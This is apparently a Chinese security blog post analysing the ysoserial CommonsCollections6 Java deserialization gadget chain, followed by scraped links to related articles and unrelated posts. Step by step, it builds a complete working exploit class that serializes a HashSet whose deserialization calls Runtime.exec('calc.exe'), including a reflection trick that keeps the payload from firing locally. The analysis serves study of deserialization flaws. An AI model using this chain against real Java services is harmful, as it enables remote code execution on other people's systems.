ysoserial commonscollections6 分析
利用链如下:
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。
/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/
1、InvokerTransformer.transform()因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。
Class cr = Class.forName("java.lang.Runtime");
        Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、ChainedTransformer.transform()
使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元组的transform,transform传入的参数为前一个元组的对象。所以这个方法可以对步骤1中链执行。
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}
创建一个Transformer[],包含步骤1中所有对象。
Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。
public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}
public Object transform(Object input) {
	return iConstant;
}
所以最终得到的transformers是
public static void main(String[] args) throws Exception {
//        Class cr = Class.forName("java.lang.Runtime");
        ;
        Transformer[] transformers = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        new ChainedTransformer(transformers).transform(1);
    //calc.exe
    }
3、LazyMap.get()
LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型
所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。
public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
}
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}
当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe
4、TiedMapEntry
根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。
public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
}
public Object getValue() {
        return map.get(key);
}
利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法,实现了getValue()的调用。
public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode());
}
利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();
5、HashMap
hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
}
利用链
Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe
6、HashSet
根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ...
        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }
利用链
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。
public Object getValue() {
        return map.get(key);
}
lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
}
所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);
在序列化之前需要将该key移除
lazyMap.remove(2);
优化:
由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。
public boolean add(E e) {
        return map.put(e, PRESENT)==null;
}
在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。
Transformer[] transformers = {};
Transformer[] transformerslist = {
	new ConstantTransformer(Class.forName("java.lang.Runtime")),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
最终的利用链
public class CC6Test1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {};
        Transformer[] transformerslist = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put(1,"hello");
        Map lazyMap = LazyMap.decorate(map, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);
        lazyMap.remove(2);
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformer, transformerslist);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
        objectOutputStream.writeObject(hashSet);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
        objectInputStream.readObject();
    }
}

ysoserial commonscollections6 分析的更多相关文章
- ysoserial CommonsColletions4分析
		
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
 - ysoserial CommonsColletions2分析
		
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
 - ysoserial CommonsColletions1分析
		
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
 - ysoserial CommonsCollections2 分析
		
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
 - ysoserial CommonsColletions7分析
		
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
 - ysoserial CommonsColletions3分析(2)
		
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
 - ysoserial CommonsColletions3分析(1)
		
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
 - ysoserial CommonsColletions6分析
		
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
 - ysoserial CommonsColletions5分析
		
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
 
随机推荐
- typora的第一天
			
一级标题 二级标题 三级标题 ..... 表格 java spring mybatis 代码 java代码 public void Hello(){ } 字体 hello word! hello wo ...
 - 什么是hive的静态分区和动态分区,它们又有什么区别呢?hive动态分区详解
			
面试官问我,什么是hive的静态分区和动态分区,这题我会呀. 简述 分区是hive存放数据的一种方式,将列值作为目录来存放数据,就是一个分区,可以有多列. 这样查询时使用分区列进行过滤,只需根据列值直 ...
 - 花一分钟体验 Apache DolphinScheduler 第一个官方 Docker 镜像
			
先前Apache DolphinScheduler 社区一直是发布 Dockerfile 和 K8s Chart.yaml 文件,由用户自行 build 镜像.随着越来越多的用户伙伴们的呼声高涨,社区 ...
 - RISC-CPU设计和 FPGA 实现
			
摸鱼的时候找到一份单周期和多周期的riscv的fpga实现,还是挺符合我的预期的 知乎专栏地址:https://www.zhihu.com/column/c_1530950608688910336
 - python包合集-cffi
			
一.cffi cffi是连接Python与c的桥梁,可实现在Python中调用c文件.cffi为c语言的外部接口,在Python中使用该接口可以实现在Python中使用外部c文件的数据结构及函数. 二 ...
 - 面试突击75:SpringBoot 有几种读取配置文件的方法?
			
Spring Boot 中读取配置文件有以下 5 种方法: 使用 @Value 读取配置文件. 使用 @ConfigurationProperties 读取配置文件. 使用 Environment 读 ...
 - HCIA-Datacom 2.1 实验一:IPv4编址及IPv4路由基础实验
			
实验目的 掌握接口IPv4地址的配置方法 理解LoopBack接口的作用与含义 理解直连路由的产生原则 掌握静态路由的配置方法并理解其生效的条件 掌握通过PING工具测试网络层联通性 掌握 ...
 - MySQL索引知识点&面试常见问题
			
来源:BiggerBoy 作者:北哥 原文链接:https://mp.weixin.qq.com/s/fucHvdRK5wRrDfBOo6IBGw 大家好我是北哥,今天整理了MySQL索引相关的知识点 ...
 - CF600E Lomsat gelral (dfs序+莫队)
			
题面 题解 看到网上写了很多DSU和线段树合并的题解,笔者第一次做也是用的线段树合并,但在原题赛的时候却怕线段树合并调不出来,于是就用了更好想更好调的莫队. 这里笔者就说说莫队怎么做吧. 我们可以通过 ...
 - Java中字节流的总结及代码练习
			
Java中的字节流 在描述字节流时,先知道什么是流 流可以分为:输入流和输出流 输入流和输出流 示意图: 字节流读取内容:二进制,音频,视频 优缺点:可以保证视频音频无损,效率低,没有缓冲区 字节流可 ...